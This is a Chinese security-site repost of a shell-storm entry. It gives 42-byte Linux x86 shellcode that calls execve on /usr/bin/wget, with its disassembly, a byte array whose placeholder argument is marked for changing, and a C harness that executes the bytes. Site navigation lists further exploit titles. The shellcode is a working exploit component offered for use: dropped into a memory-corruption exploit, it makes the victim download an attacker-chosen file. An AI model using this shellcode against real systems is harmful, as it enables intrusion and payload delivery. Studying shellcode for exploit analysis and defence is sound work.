首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
linux/x86 execve("/usr/bin/wget", "aaaa"); - 42 bytes
来源:http://www.shell-storm.org 作者:Salwan 发布时间:2010-05-21  
=====================================================
linux/x86 execve("/usr/bin/wget", "aaaa"); - 42 bytes
=====================================================


/*
Title:   Linux x86 execve("/usr/bin/wget", "aaaa"); - 42 bytes
Author:  Jonathan Salwan <submit AT shell-storm.org>
Web:     http://www.shell-storm.org
Twitter: http://twitter.com/shell_storm


!Database of Shellcodes http://www.shell-storm.org/shellcode/


08048054 <.text>:
8048054:   6a 0b                   push   $0xb
8048056:   58                      pop    %eax
8048057:   99                      cltd 
8048058:   52                      push   %edx
8048059:   68 61 61 61 61          push   $0x61616161
804805e:   89 e1                   mov    %esp,%ecx
8048060:   52                      push   %edx
8048061:   6a 74                   push   $0x74
8048063:   68 2f 77 67 65          push   $0x6567772f
8048068:   68 2f 62 69 6e          push   $0x6e69622f
804806d:   68 2f 75 73 72          push   $0x7273752f
8048072:   89 e3                   mov    %esp,%ebx
8048074:   52                      push   %edx
8048075:   51                      push   %ecx
8048076:   53                      push   %ebx
8048077:   89 e1                   mov    %esp,%ecx
8048079:   cd 80                   int    $0x80
804807b:   40                      inc    %eax
804807c:   cd 80                   int    $0x80
*/

#include <stdio.h>

char sc[] =     "\x6a\x0b\x58\x99\x52"
        "\x68\x61\x61\x61\x61" // Change it
        "\x89\xe1\x52\x6a\x74"
        "\x68\x2f\x77\x67\x65"
        "\x68\x2f\x62\x69\x6e"
        "\x68\x2f\x75\x73\x72"
        "\x89\xe3\x52\x51\x53"
        "\x89\xe1\xcd\x80\x40"
        "\xcd\x80";

int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(sc));
    (*(void(*)()) sc)();
     
return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·IMEDIA suffers from a remote S
·CommuniCrypt Mail 1.16 (ANSMTP
·SyncBack Freeware V3.2.20.0
·Solaris/x86 - execve("/bin/sh"
·Google Chrome 4.1.249.1059 Cro
·ComponentOne VSFlexGrid v. 7 &
·QtWeb Browser version 3.3 Dos
·Solaris/x86 - Halt shellcode -
·支持serv-u7,8,9本地提权exp
·NetBSD 5.0 and below Hack PATH
·NetBSD 5.0 and below Hack GENO
·ECShop remote SQL injection ex
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved